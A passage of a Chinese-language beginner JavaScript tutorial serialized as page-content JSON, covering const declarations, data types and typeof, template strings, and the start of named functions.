是不同的变量",{"type":18,"tag":158,"props":16214,"children":16215},{},[16216,16218,16223,16224,16230,16231,16237,16238,16243],{"type":24,"value":16217},"不能使用关键字，如：",{"type":18,"tag":74,"props":16219,"children":16221},{"className":16220},[],[16222],{"type":24,"value":16149},{"type":24,"value":1942},{"type":18,"tag":74,"props":16225,"children":16227},{"className":16226},[],[16228],{"type":24,"value":16229},"var",{"type":24,"value":1942},{"type":18,"tag":74,"props":16232,"children":16234},{"className":16233},[],[16235],{"type":24,"value":16236},"if",{"type":24,"value":1942},{"type":18,"tag":74,"props":16239,"children":16241},{"className":16240},[],[16242],{"type":24,"value":7338},{"type":24,"value":16244}," 等",{"type":18,"tag":34,"props":16246,"children":16247},{},[16248],{"type":18,"tag":105,"props":16249,"children":16250},{},[16251],{"type":24,"value":16252},"JS 常量声明",{"type":18,"tag":210,"props":16254,"children":16255},{},[16256,16265],{"type":18,"tag":158,"props":16257,"children":16258},{},[16259,16264],{"type":18,"tag":105,"props":16260,"children":16261},{},[16262],{"type":24,"value":16263},"JS 中用 const 关键字来声明常量",{"type":24,"value":111},{"type":18,"tag":158,"props":16266,"children":16267},{},[16268,16273],{"type":18,"tag":105,"props":16269,"children":16270},{},[16271],{"type":24,"value":16272},"一旦声明，常量的值就不能改变（不可以重新赋值）",{"type":24,"value":111},{"type":18,"tag":34,"props":16275,"children":16276},{},[16277],{"type":18,"tag":105,"props":16278,"children":16279},{},[16280],{"type":24,"value":5862},{"type":18,"tag":154,"props":16282,"children":16283},{},[16284,16314,16405],{"type":18,"tag":158,"props":16285,"children":16286},{},[16287,16292,16293,16299,16301,16306,16308],{"type":18,"tag":105,"props":16288,"children":16289},{},[16290],{"type":24,"value":16291},"声明即赋值",{"type":24,"value":222},{"type":18,"tag":74,"props":16294,"children":16296},{"className":16295},[],[16297],{"type":24,"value":16298},"const",{"type":24,"value":16300}," 声明常量时",{"type":18,"tag":105,"props":16302,"children":16303},{},[16304],{"type":24,"value":16305},"必须同时初始化",{"type":24,"value":16307},"（直接赋值），例如：",{"type":18,"tag":74,"props":16309,"children":16311},{"className":16310},[],[16312],{"type":24,"value":16313},"const PI = 3.14;",{"type":18,"tag":158,"props":16315,"children":16316},{},[16317,16322,16323,16328,16330],{"type":18,"tag":105,"props":16318,"children":16319},{},[16320],{"type":24,"value":16321},"引用类型的特殊性",{"type":24,"value":222},{"type":18,"tag":74,"props":16324,"children":16326},{"className":16325},[],[16327],{"type":24,"value":16298},{"type":24,"value":16329}," 限制的是变量指向的内存地址，对于对象 \u002F 数组，其内部属性 \u002F 元素仍可修改，例如：",{"type":18,"tag":287,"props":16331,"children":16335},{"className":16332,"code":16333,"language":16334,"meta":8,"style":8},"language-javascript shiki shiki-themes github-dark","const user = { name: \"Tom\" };\nuser.name = \"Jerry\"; \u002F\u002F 合法：对象内容可修改\n\u002F\u002F user = {}; \u002F\u002F 非法：重新赋值会报错\n","javascript",[16336],{"type":18,"tag":74,"props":16337,"children":16338},{"__ignoreMap":8},[16339,16371,16397],{"type":18,"tag":297,"props":16340,"children":16341},{"class":299,"line":300},[16342,16346,16351,16356,16361,16366],{"type":18,"tag":297,"props":16343,"children":16344},{"style":316},[16345],{"type":24,"value":16298},{"type":18,"tag":297,"props":16347,"children":16348},{"style":906},[16349],{"type":24,"value":16350}," user",{"type":18,"tag":297,"props":16352,"children":16353},{"style":316},[16354],{"type":24,"value":16355}," =",{"type":18,"tag":297,"props":16357,"children":16358},{"style":327},[16359],{"type":24,"value":16360}," { name: ",{"type":18,"tag":297,"props":16362,"children":16363},{"style":310},[16364],{"type":24,"value":16365},"\"Tom\"",{"type":18,"tag":297,"props":16367,"children":16368},{"style":327},[16369],{"type":24,"value":16370}," };\n",{"type":18,"tag":297,"props":16372,"children":16373},{"class":299,"line":657},[16374,16379,16383,16388,16392],{"type":18,"tag":297,"props":16375,"children":16376},{"style":327},[16377],{"type":24,"value":16378},"user.name ",{"type":18,"tag":297,"props":16380,"children":16381},{"style":316},[16382],{"type":24,"value":9692},{"type":18,"tag":297,"props":16384,"children":16385},{"style":310},[16386],{"type":24,"value":16387}," \"Jerry\"",{"type":18,"tag":297,"props":16389,"children":16390},{"style":327},[16391],{"type":24,"value":10875},{"type":18,"tag":297,"props":16393,"children":16394},{"style":5380},[16395],{"type":24,"value":16396},"\u002F\u002F 合法：对象内容可修改\n",{"type":18,"tag":297,"props":16398,"children":16399},{"class":299,"line":662},[16400],{"type":18,"tag":297,"props":16401,"children":16402},{"style":5380},[16403],{"type":24,"value":16404},"\u002F\u002F user = {}; \u002F\u002F 非法：重新赋值会报错\n",{"type":18,"tag":158,"props":16406,"children":16407},{},[16408,16413,16414,16419,16421,16426],{"type":18,"tag":105,"props":16409,"children":16410},{},[16411],{"type":24,"value":16412},"作用域与命名",{"type":24,"value":222},{"type":18,"tag":74,"props":16415,"children":16417},{"className":16416},[],[16418],{"type":24,"value":16298},{"type":24,"value":16420}," 作用域与 ",{"type":18,"tag":74,"props":16422,"children":16424},{"className":16423},[],[16425],{"type":24,"value":16149},{"type":24,"value":16427}," 一致（块级作用域），命名规则也与变量相同（字母、数字、_、$ 组成，数字不能开头，严格区分大小写，不能使用关键字）。",{"type":18,"tag":34,"props":16429,"children":16430},{},[16431],{"type":18,"tag":105,"props":16432,"children":16433},{},[16434],{"type":24,"value":9987},{"type":18,"tag":287,"props":16436,"children":16438},{"className":9608,"code":16437,"language":9610,"meta":8,"style":8},"\u003Cbody>\n\u003Cscript>\n    \u002F\u002F1. 声明变量（JS是弱类型语言，变量可存放不同类型值）\n    \u002F\u002F let a = 10;\n    \u002F\u002F a = \"Hello\";\n    \u002F\u002F a = true;\n\n    \u002F\u002F alert(a); \u002F\u002F弹出框\n\n    \u002F\u002F2. 声明常量\n    const PI = 3.14;\n    \u002F\u002F PI = 5.0; \u002F\u002F 报错：常量不可重新赋值\n\n    console.log(PI); \u002F\u002F输出到控制台\n    \u002F\u002F document.write(PI); \u002F\u002F输出到body区域(不常用)\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n",[16439],{"type":18,"tag":74,"props":16440,"children":16441},{"__ignoreMap":8},[16442,16457,16473,16481,16489,16497,16505,16512,16520,16527,16535,16561,16569,16576,16609,16617,16632],{"type":18,"tag":297,"props":16443,"children":16444},{"class":299,"line":300},[16445,16449,16453],{"type":18,"tag":297,"props":16446,"children":16447},{"style":327},[16448],{"type":24,"value":319},{"type":18,"tag":297,"props":16450,"children":16451},{"style":9680},[16452],{"type":24,"value":12207},{"type":18,"tag":297,"props":16454,"children":16455},{"style":327},[16456],{"type":24,"value":335},{"type":18,"tag":297,"props":16458,"children":16459},{"class":299,"line":657},[16460,16464,16469],{"type":18,"tag":297,"props":16461,"children":16462},{"style":327},[16463],{"type":24,"value":319},{"type":18,"tag":297,"props":16465,"children":16466},{"style":9680},[16467],{"type":24,"value":16468},"script",{"type":18,"tag":297,"props":16470,"children":16471},{"style":327},[16472],{"type":24,"value":335},{"type":18,"tag":297,"props":16474,"children":16475},{"class":299,"line":662},[16476],{"type":18,"tag":297,"props":16477,"children":16478},{"style":5380},[16479],{"type":24,"value":16480},"    \u002F\u002F1. 声明变量（JS是弱类型语言，变量可存放不同类型值）\n",{"type":18,"tag":297,"props":16482,"children":16483},{"class":299,"line":799},[16484],{"type":18,"tag":297,"props":16485,"children":16486},{"style":5380},[16487],{"type":24,"value":16488},"    \u002F\u002F let a = 10;\n",{"type":18,"tag":297,"props":16490,"children":16491},{"class":299,"line":808},[16492],{"type":18,"tag":297,"props":16493,"children":16494},{"style":5380},[16495],{"type":24,"value":16496},"    \u002F\u002F a = \"Hello\";\n",{"type":18,"tag":297,"props":16498,"children":16499},{"class":299,"line":817},[16500],{"type":18,"tag":297,"props":16501,"children":16502},{"style":5380},[16503],{"type":24,"value":16504},"    \u002F\u002F a = true;\n",{"type":18,"tag":297,"props":16506,"children":16507},{"class":299,"line":826},[16508],{"type":18,"tag":297,"props":16509,"children":16510},{"emptyLinePlaceholder":793},[16511],{"type":24,"value":796},{"type":18,"tag":297,"props":16513,"children":16514},{"class":299,"line":4524},[16515],{"type":18,"tag":297,"props":16516,"children":16517},{"style":5380},[16518],{"type":24,"value":16519},"    \u002F\u002F alert(a); \u002F\u002F弹出框\n",{"type":18,"tag":297,"props":16521,"children":16522},{"class":299,"line":4533},[16523],{"type":18,"tag":297,"props":16524,"children":16525},{"emptyLinePlaceholder":793},[16526],{"type":24,"value":796},{"type":18,"tag":297,"props":16528,"children":16529},{"class":299,"line":4546},[16530],{"type":18,"tag":297,"props":16531,"children":16532},{"style":5380},[16533],{"type":24,"value":16534},"    \u002F\u002F2. 声明常量\n",{"type":18,"tag":297,"props":16536,"children":16537},{"class":299,"line":4555},[16538,16543,16548,16552,16557],{"type":18,"tag":297,"props":16539,"children":16540},{"style":316},[16541],{"type":24,"value":16542},"    const",{"type":18,"tag":297,"props":16544,"children":16545},{"style":906},[16546],{"type":24,"value":16547}," PI",{"type":18,"tag":297,"props":16549,"children":16550},{"style":316},[16551],{"type":24,"value":16355},{"type":18,"tag":297,"props":16553,"children":16554},{"style":906},[16555],{"type":24,"value":16556}," 3.14",{"type":18,"tag":297,"props":16558,"children":16559},{"style":327},[16560],{"type":24,"value":9828},{"type":18,"tag":297,"props":16562,"children":16563},{"class":299,"line":4568},[16564],{"type":18,"tag":297,"props":16565,"children":16566},{"style":5380},[16567],{"type":24,"value":16568},"    \u002F\u002F PI = 5.0; \u002F\u002F 报错：常量不可重新赋值\n",{"type":18,"tag":297,"props":16570,"children":16571},{"class":299,"line":4577},[16572],{"type":18,"tag":297,"props":16573,"children":16574},{"emptyLinePlaceholder":793},[16575],{"type":24,"value":796},{"type":18,"tag":297,"props":16577,"children":16578},{"class":299,"line":4590},[16579,16584,16589,16594,16599,16604],{"type":18,"tag":297,"props":16580,"children":16581},{"style":327},[16582],{"type":24,"value":16583},"    console.",{"type":18,"tag":297,"props":16585,"children":16586},{"style":304},[16587],{"type":24,"value":16588},"log",{"type":18,"tag":297,"props":16590,"children":16591},{"style":327},[16592],{"type":24,"value":16593},"(",{"type":18,"tag":297,"props":16595,"children":16596},{"style":906},[16597],{"type":24,"value":16598},"PI",{"type":18,"tag":297,"props":16600,"children":16601},{"style":327},[16602],{"type":24,"value":16603},"); ",{"type":18,"tag":297,"props":16605,"children":16606},{"style":5380},[16607],{"type":24,"value":16608},"\u002F\u002F输出到控制台\n",{"type":18,"tag":297,"props":16610,"children":16611},{"class":299,"line":4599},[16612],{"type":18,"tag":297,"props":16613,"children":16614},{"style":5380},[16615],{"type":24,"value":16616},"    \u002F\u002F document.write(PI); \u002F\u002F输出到body区域(不常用)\n",{"type":18,"tag":297,"props":16618,"children":16619},{"class":299,"line":4607},[16620,16624,16628],{"type":18,"tag":297,"props":16621,"children":16622},{"style":327},[16623],{"type":24,"value":11688},{"type":18,"tag":297,"props":16625,"children":16626},{"style":9680},[16627],{"type":24,"value":16468},{"type":18,"tag":297,"props":16629,"children":16630},{"style":327},[16631],{"type":24,"value":335},{"type":18,"tag":297,"props":16633,"children":16634},{"class":299,"line":4616},[16635,16639,16643],{"type":18,"tag":297,"props":16636,"children":16637},{"style":327},[16638],{"type":24,"value":11688},{"type":18,"tag":297,"props":16640,"children":16641},{"style":9680},[16642],{"type":24,"value":12207},{"type":18,"tag":297,"props":16644,"children":16645},{"style":327},[16646],{"type":24,"value":335},{"type":18,"tag":34,"props":16648,"children":16649},{},[16650],{"type":18,"tag":105,"props":16651,"children":16652},{},[16653],{"type":24,"value":16654},"小结",{"type":18,"tag":34,"props":16656,"children":16657},{},[16658],{"type":18,"tag":105,"props":16659,"children":16660},{},[16661],{"type":24,"value":16662},"1.  变量 \u002F 常量",{"type":18,"tag":210,"props":16664,"children":16665},{},[16666,16675,16703],{"type":18,"tag":158,"props":16667,"children":16668},{},[16669,16673],{"type":18,"tag":105,"props":16670,"children":16671},{},[16672],{"type":24,"value":7059},{"type":24,"value":16674},"：JS 是弱类型语言，变量可以存放不同类型的值",{"type":18,"tag":158,"props":16676,"children":16677},{},[16678,16680],{"type":24,"value":16679},"声明：\n",{"type":18,"tag":210,"props":16681,"children":16682},{},[16683,16693],{"type":18,"tag":158,"props":16684,"children":16685},{},[16686,16691],{"type":18,"tag":74,"props":16687,"children":16689},{"className":16688},[],[16690],{"type":24,"value":16149},{"type":24,"value":16692},"：声明变量",{"type":18,"tag":158,"props":16694,"children":16695},{},[16696,16701],{"type":18,"tag":74,"props":16697,"children":16699},{"className":16698},[],[16700],{"type":24,"value":16298},{"type":24,"value":16702},"：声明常量，一旦声明，常量的值不能改变",{"type":18,"tag":158,"props":16704,"children":16705},{},[16706,16708],{"type":24,"value":16707},"注意：\n",{"type":18,"tag":210,"props":16709,"children":16710},{},[16711],{"type":18,"tag":158,"props":16712,"children":16713},{},[16714,16716,16721],{"type":24,"value":16715},"在早期的 js 中，声明变量还可以使用",{"type":18,"tag":74,"props":16717,"children":16719},{"className":16718},[],[16720],{"type":24,"value":16229},{"type":24,"value":16722},"，但是并不严谨（不推荐）",{"type":18,"tag":34,"props":16724,"children":16725},{},[16726],{"type":18,"tag":105,"props":16727,"children":16728},{},[16729],{"type":24,"value":16730},"2. 输出语句",{"type":18,"tag":210,"props":16732,"children":16733},{},[16734,16745,16756],{"type":18,"tag":158,"props":16735,"children":16736},{},[16737,16743],{"type":18,"tag":74,"props":16738,"children":16740},{"className":16739},[],[16741],{"type":24,"value":16742},"window.alert()",{"type":24,"value":16744},"：弹出警告框（使用频次较高）",{"type":18,"tag":158,"props":16746,"children":16747},{},[16748,16754],{"type":18,"tag":74,"props":16749,"children":16751},{"className":16750},[],[16752],{"type":24,"value":16753},"console.log()",{"type":24,"value":16755},"：写入浏览器控制台（使用频次较高）",{"type":18,"tag":158,"props":16757,"children":16758},{},[16759,16765],{"type":18,"tag":74,"props":16760,"children":16762},{"className":16761},[],[16763],{"type":24,"value":16764},"document.write()",{"type":24,"value":16766},"：向 HTML 的 body 内输出内容",{"type":18,"tag":27,"props":16768,"children":16770},{"id":16769},"_44-数据类型",[16771],{"type":24,"value":16772},"4.4 数据类型",{"type":18,"tag":210,"props":16774,"children":16775},{},[16776,16781,16844,16994],{"type":18,"tag":158,"props":16777,"children":16778},{},[16779],{"type":24,"value":16780},"JavaScript 的数据类型分为：基本数据类型和引用数据类型（对象）。",{"type":18,"tag":158,"props":16782,"children":16783},{},[16784,16786],{"type":24,"value":16785},"基本数据类型：",{"type":18,"tag":210,"props":16787,"children":16788},{},[16789,16800,16811,16822,16833],{"type":18,"tag":158,"props":16790,"children":16791},{},[16792,16798],{"type":18,"tag":74,"props":16793,"children":16795},{"className":16794},[],[16796],{"type":24,"value":16797},"number",{"type":24,"value":16799},"：数字（整数、小数、NaN (Not a Number)）",{"type":18,"tag":158,"props":16801,"children":16802},{},[16803,16809],{"type":18,"tag":74,"props":16804,"children":16806},{"className":16805},[],[16807],{"type":24,"value":16808},"boolean",{"type":24,"value":16810},"：布尔。true, false",{"type":18,"tag":158,"props":16812,"children":16813},{},[16814,16820],{"type":18,"tag":74,"props":16815,"children":16817},{"className":16816},[],[16818],{"type":24,"value":16819},"null",{"type":24,"value":16821},"：对象为空。JavaScript 是大小写敏感的，因此 null、Null、NULL 是完全不同的",{"type":18,"tag":158,"props":16823,"children":16824},{},[16825,16831],{"type":18,"tag":74,"props":16826,"children":16828},{"className":16827},[],[16829],{"type":24,"value":16830},"undefined",{"type":24,"value":16832},"：当声明的变量未初始化时，该变量的默认值是 undefined",{"type":18,"tag":158,"props":16834,"children":16835},{},[16836,16842],{"type":18,"tag":74,"props":16837,"children":16839},{"className":16838},[],[16840],{"type":24,"value":16841},"string",{"type":24,"value":16843},"：字符串，单引号、双引号、反引号皆可，推荐使用单引号",{"type":18,"tag":158,"props":16845,"children":16846},{},[16847,16848,16854,16856],{"type":24,"value":6499},{"type":18,"tag":74,"props":16849,"children":16851},{"className":16850},[],[16852],{"type":24,"value":16853},"typeof",{"type":24,"value":16855}," 运算符可以获取数据类型：",{"type":18,"tag":287,"props":16857,"children":16859},{"className":16332,"code":16858,"language":16334,"meta":8,"style":8},"let a = 20;\nalert(typeof a); \u002F\u002F 获取数据类型\n\n\u002F\u002F 特殊案例\nalert(typeof null); \u002F\u002F 获取的数据类型结果为 object\nlet a;\nalert(typeof a); \u002F\u002F 获取的数据类型结果为 undefined\n",[16860],{"type":18,"tag":74,"props":16861,"children":16862},{"__ignoreMap":8},[16863,16888,16914,16921,16929,16958,16970],{"type":18,"tag":297,"props":16864,"children":16865},{"class":299,"line":300},[16866,16870,16875,16879,16884],{"type":18,"tag":297,"props":16867,"children":16868},{"style":316},[16869],{"type":24,"value":16149},{"type":18,"tag":297,"props":16871,"children":16872},{"style":327},[16873],{"type":24,"value":16874}," a ",{"type":18,"tag":297,"props":16876,"children":16877},{"style":316},[16878],{"type":24,"value":9692},{"type":18,"tag":297,"props":16880,"children":16881},{"style":906},[16882],{"type":24,"value":16883}," 20",{"type":18,"tag":297,"props":16885,"children":16886},{"style":327},[16887],{"type":24,"value":9828},{"type":18,"tag":297,"props":16889,"children":16890},{"class":299,"line":657},[16891,16896,16900,16904,16909],{"type":18,"tag":297,"props":16892,"children":16893},{"style":304},[16894],{"type":24,"value":16895},"alert",{"type":18,"tag":297,"props":16897,"children":16898},{"style":327},[16899],{"type":24,"value":16593},{"type":18,"tag":297,"props":16901,"children":16902},{"style":316},[16903],{"type":24,"value":16853},{"type":18,"tag":297,"props":16905,"children":16906},{"style":327},[16907],{"type":24,"value":16908}," a); ",{"type":18,"tag":297,"props":16910,"children":16911},{"style":5380},[16912],{"type":24,"value":16913},"\u002F\u002F 获取数据类型\n",{"type":18,"tag":297,"props":16915,"children":16916},{"class":299,"line":662},[16917],{"type":18,"tag":297,"props":16918,"children":16919},{"emptyLinePlaceholder":793},[16920],{"type":24,"value":796},{"type":18,"tag":297,"props":16922,"children":16923},{"class":299,"line":799},[16924],{"type":18,"tag":297,"props":16925,"children":16926},{"style":5380},[16927],{"type":24,"value":16928},"\u002F\u002F 特殊案例\n",{"type":18,"tag":297,"props":16930,"children":16931},{"class":299,"line":808},[16932,16936,16940,16944,16949,16953],{"type":18,"tag":297,"props":16933,"children":16934},{"style":304},[16935],{"type":24,"value":16895},{"type":18,"tag":297,"props":16937,"children":16938},{"style":327},[16939],{"type":24,"value":16593},{"type":18,"tag":297,"props":16941,"children":16942},{"style":316},[16943],{"type":24,"value":16853},{"type":18,"tag":297,"props":16945,"children":16946},{"style":906},[16947],{"type":24,"value":16948}," null",{"type":18,"tag":297,"props":16950,"children":16951},{"style":327},[16952],{"type":24,"value":16603},{"type":18,"tag":297,"props":16954,"children":16955},{"style":5380},[16956],{"type":24,"value":16957},"\u002F\u002F 获取的数据类型结果为 object\n",{"type":18,"tag":297,"props":16959,"children":16960},{"class":299,"line":817},[16961,16965],{"type":18,"tag":297,"props":16962,"children":16963},{"style":316},[16964],{"type":24,"value":16149},{"type":18,"tag":297,"props":16966,"children":16967},{"style":327},[16968],{"type":24,"value":16969}," a;\n",{"type":18,"tag":297,"props":16971,"children":16972},{"class":299,"line":826},[16973,16977,16981,16985,16989],{"type":18,"tag":297,"props":16974,"children":16975},{"style":304},[16976],{"type":24,"value":16895},{"type":18,"tag":297,"props":16978,"children":16979},{"style":327},[16980],{"type":24,"value":16593},{"type":18,"tag":297,"props":16982,"children":16983},{"style":316},[16984],{"type":24,"value":16853},{"type":18,"tag":297,"props":16986,"children":16987},{"style":327},[16988],{"type":24,"value":16908},{"type":18,"tag":297,"props":16990,"children":16991},{"style":5380},[16992],{"type":24,"value":16993},"\u002F\u002F 获取的数据类型结果为 undefined\n",{"type":18,"tag":158,"props":16995,"children":16996},{},[16997,16999],{"type":24,"value":16998},"模板字符串语法：",{"type":18,"tag":210,"props":17000,"children":17001},{},[17002,17007],{"type":18,"tag":158,"props":17003,"children":17004},{},[17005],{"type":24,"value":17006},"\"``\"（反引号，英文输入模式下按键盘的 tab 键上方波浪线～那个键）",{"type":18,"tag":158,"props":17008,"children":17009},{},[17010,17012,17018],{"type":24,"value":17011},"内容拼接变量时，使用 ",{"type":18,"tag":74,"props":17013,"children":17015},{"className":17014},[],[17016],{"type":24,"value":17017},"${}",{"type":24,"value":17019}," 包住变量",{"type":18,"tag":287,"props":17021,"children":17023},{"className":9608,"code":17022,"language":9610,"meta":8,"style":8},"\u003Cscript>\nlet name = 'Tom';\nlet age = 18;\nconsole.log('大家好，我是新入职的' + name + '，今年' + age + '岁了，请多多关照');\nconsole.log(`大家好，我是新入职的${name}，今年${age}岁了，请多多关照`);\n\u003C\u002Fscript>\n",[17024],{"type":18,"tag":74,"props":17025,"children":17026},{"__ignoreMap":8},[17027,17042,17067,17092,17154,17197],{"type":18,"tag":297,"props":17028,"children":17029},{"class":299,"line":300},[17030,17034,17038],{"type":18,"tag":297,"props":17031,"children":17032},{"style":327},[17033],{"type":24,"value":319},{"type":18,"tag":297,"props":17035,"children":17036},{"style":9680},[17037],{"type":24,"value":16468},{"type":18,"tag":297,"props":17039,"children":17040},{"style":327},[17041],{"type":24,"value":335},{"type":18,"tag":297,"props":17043,"children":17044},{"class":299,"line":657},[17045,17049,17054,17058,17063],{"type":18,"tag":297,"props":17046,"children":17047},{"style":316},[17048],{"type":24,"value":16149},{"type":18,"tag":297,"props":17050,"children":17051},{"style":327},[17052],{"type":24,"value":17053}," name ",{"type":18,"tag":297,"props":17055,"children":17056},{"style":316},[17057],{"type":24,"value":9692},{"type":18,"tag":297,"props":17059,"children":17060},{"style":310},[17061],{"type":24,"value":17062}," 'Tom'",{"type":18,"tag":297,"props":17064,"children":17065},{"style":327},[17066],{"type":24,"value":9828},{"type":18,"tag":297,"props":17068,"children":17069},{"class":299,"line":662},[17070,17074,17079,17083,17088],{"type":18,"tag":297,"props":17071,"children":17072},{"style":316},[17073],{"type":24,"value":16149},{"type":18,"tag":297,"props":17075,"children":17076},{"style":327},[17077],{"type":24,"value":17078}," age ",{"type":18,"tag":297,"props":17080,"children":17081},{"style":316},[17082],{"type":24,"value":9692},{"type":18,"tag":297,"props":17084,"children":17085},{"style":906},[17086],{"type":24,"value":17087}," 18",{"type":18,"tag":297,"props":17089,"children":17090},{"style":327},[17091],{"type":24,"value":9828},{"type":18,"tag":297,"props":17093,"children":17094},{"class":299,"line":799},[17095,17100,17104,17108,17113,17118,17122,17127,17132,17136,17140,17144,17149],{"type":18,"tag":297,"props":17096,"children":17097},{"style":327},[17098],{"type":24,"value":17099},"console.",{"type":18,"tag":297,"props":17101,"children":17102},{"style":304},[17103],{"type":24,"value":16588},{"type":18,"tag":297,"props":17105,"children":17106},{"style":327},[17107],{"type":24,"value":16593},{"type":18,"tag":297,"props":17109,"children":17110},{"style":310},[17111],{"type":24,"value":17112},"'大家好，我是新入职的'",{"type":18,"tag":297,"props":17114,"children":17115},{"style":316},[17116],{"type":24,"value":17117}," +",{"type":18,"tag":297,"props":17119,"children":17120},{"style":327},[17121],{"type":24,"value":17053},{"type":18,"tag":297,"props":17123,"children":17124},{"style":316},[17125],{"type":24,"value":17126},"+",{"type":18,"tag":297,"props":17128,"children":17129},{"style":310},[17130],{"type":24,"value":17131}," '，今年'",{"type":18,"tag":297,"props":17133,"children":17134},{"style":316},[17135],{"type":24,"value":17117},{"type":18,"tag":297,"props":17137,"children":17138},{"style":327},[17139],{"type":24,"value":17078},{"type":18,"tag":297,"props":17141,"children":17142},{"style":316},[17143],{"type":24,"value":17126},{"type":18,"tag":297,"props":17145,"children":17146},{"style":310},[17147],{"type":24,"value":17148}," '岁了，请多多关照'",{"type":18,"tag":297,"props":17150,"children":17151},{"style":327},[17152],{"type":24,"value":17153},");\n",{"type":18,"tag":297,"props":17155,"children":17156},{"class":299,"line":808},[17157,17161,17165,17169,17174,17178,17183,17188,17193],{"type":18,"tag":297,"props":17158,"children":17159},{"style":327},[17160],{"type":24,"value":17099},{"type":18,"tag":297,"props":17162,"children":17163},{"style":304},[17164],{"type":24,"value":16588},{"type":18,"tag":297,"props":17166,"children":17167},{"style":327},[17168],{"type":24,"value":16593},{"type":18,"tag":297,"props":17170,"children":17171},{"style":310},[17172],{"type":24,"value":17173},"`大家好，我是新入职的${",{"type":18,"tag":297,"props":17175,"children":17176},{"style":327},[17177],{"type":24,"value":12133},{"type":18,"tag":297,"props":17179,"children":17180},{"style":310},[17181],{"type":24,"value":17182},"}，今年${",{"type":18,"tag":297,"props":17184,"children":17185},{"style":327},[17186],{"type":24,"value":17187},"age",{"type":18,"tag":297,"props":17189,"children":17190},{"style":310},[17191],{"type":24,"value":17192},"}岁了，请多多关照`",{"type":18,"tag":297,"props":17194,"children":17195},{"style":327},[17196],{"type":24,"value":17153},{"type":18,"tag":297,"props":17198,"children":17199},{"class":299,"line":817},[17200,17204,17208],{"type":18,"tag":297,"props":17201,"children":17202},{"style":327},[17203],{"type":24,"value":11688},{"type":18,"tag":297,"props":17205,"children":17206},{"style":9680},[17207],{"type":24,"value":16468},{"type":18,"tag":297,"props":17209,"children":17210},{"style":327},[17211],{"type":24,"value":335},{"type":18,"tag":27,"props":17213,"children":17215},{"id":17214},"_45-具名函数",[17216],{"type":24,"value":17217},"4.5 具名函数",{"type":18,"tag":34,"props":17219,"children":17220},{},[17221,17223,17228],{"type":24,"value":17222},"函数（ ",{"type":18,"tag":105,"props":17224,"children":17225},{},[17226],{"type":24,"value":17227},"function",{"type":24,"value":17229}," ）是被设计用来执行特定任务的代码块，方便程序的封装复用。",{"type":18,"tag":154,"props":17231,"children":17232},{},[17233,17390,17465],{"type":18,"tag":158,"props":17234,"children":17235},{},[17236,17241,17243,17247,17249],{"type":18,"tag":105,"props":17237,"children":17238},{},[17239],{"type":24,"value":17240},"函数定义",{"type":24,"value":17242},"：JavaScript 中的函数通过 ",{"type":18,"tag":105,"props":17244,"children":17245},{},[17246],{"type":24,"value":17227},{"type":24,"value":17248}," 关键字进行定义，语法为：",{"type":18,"tag":287,"props":17250,"children":17252},{"className":16332,"code":17251,"language":16334,"meta":8,"style":8},"\u002F\u002F 通用语法 --> 具名函数\nfunction functionName(参数1, 参数2 ...){\n    \u002F\u002F要执行的代码\n}\n\n\u002F\u002F 示例\nfunction add(a, b){\n    return a + b;\n}\n",[17253],{"type":18,"tag":74,"props":17254,"children":17255},{"__ignoreMap":8},[17256,17264,17299,17307,17314,17321,17329,17362,17383],{"type":18,"tag":297,"props":17257,"children":17258},{"class":299,"line":300},[17259],{"type":18,"tag":297,"props":17260,"children":17261},{"style":5380},[17262],{"type":24,"value":17263},"\u002F\u002F 通用语法 --> 具名函数\n",{"type":18,"tag":297,"props":17265,"children":17266},{"class":299,"line":657},[17267,17271,17276,17280,17285,17289,17294],{"type":18,"tag":297,"props":17268,"children":17269},{"style":316},[17270],{"type":24,"value":17227},{"type":18,"tag":297,"props":17272,"children":17273},{"style":304},[17274],{"type":24,"value":17275}," functionName",{"type":18,"tag":297,"props":17277,"children":17278},{"style":327},[17279],{"type":24,"value":16593},{"type":18,"tag":297,"props":17281,"children":17282},{"style":4492},[17283],{"type":24,"value":17284},"参数1",{"type":18,"tag":297,"props":17286,"children":17287},{"style":327},[17288],{"type":24,"value":11724},{"type":18,"tag":297,"props":17290,"children":17291},{"style":4492},[17292],{"type":24,"value":17293},"参数2",{"type":18,"tag":297,"props":17295,"children":17296},{"style":327},[17297],{"type":24,"value":17298}," ...){\n",{"type":18,"tag":297,"props":17300,"children":17301},{"class":299,"line":662},[17302],{"type":18,"tag":297,"props":17303,"children":17304},{"style":5380},[17305],{"type":24,"value":17306},"    \u002F\u002F要执行的代码\n",{"type":18,"tag":297,"props":17308,"children":17309},{"class":299,"line":799},[17310],{"type":18,"tag":297,"props":17311,"children":17312},{"style":327},[17313],{"type":24,"value":9524},{"type":18,"tag":297,"props":17315,"children":17316},{"class":299,"line":808},[17317],{"type":18,"tag":297,"props":17318,"children":17319},{"emptyLinePlaceholder":793},[17320],{"type":24,"value":796},{"type":18,"tag":297,"props":17322,"children":17323},{"class":299,"line":817},[17324],{"type":18,"tag":297,"props":17325,"children":17326},{"style":5380},[17327],{"type":24,"value":17328},"\u002F\u002F 示例\n",{"type":18,"tag":297,"props":17330,"children":17331},{"class":299,"line":826},[17332,17336,17340,17344,17348,17352,17357],{"type":18,"tag":297,"props":17333,"children":17334},{"style":316},[17335],{"type":24,"value":17227},{"type":18,"tag":297,"props":17337,"children":17338},{"style":304},[17339],{"type":24,"value":886},{"type":18,"tag":297,"props":17341,"children":17342},{"style":327},[17343],{"type":24,"value":16593},{"type":18,"tag":297,"props":17345,"children":17346},{"style":4492},[17347],{"type":24,"value":43},{"type":18,"tag":297,"props":17349,"children":17350},{"style":327},[17351],{"type":24,"value":11724},{"type":18,"tag":297,"props":17353,"children":17354},{"style":4492},[17355],{"type":24,"value":17356},"b",{"type":18,"tag":297,"props":17358,"children":17359},{"style":327},[17360],{"type":24,"value":17361},"){\n",{"type":18,"tag":297,"props":17363,"children":17364},{"class":299,"line":4524},[17365,17370,17374,17378],{"type":18,"tag":297,"props":17366,"children":17367},{"style":316},[17368],{"type":24,"value":17369},"    return",{"type":18,"tag":297,"props":17371,"children":17372},{"style":327},[17373],{"type":24,"value":16874},{"type":18,"tag":297,"props":17375,"children":17376},{"style":316},[17377],{"type":24,"value":17126},{"type":18,"tag":297,"props":17379,"children":17380},{"style":327},[17381],{"type":24,"value":17382}," 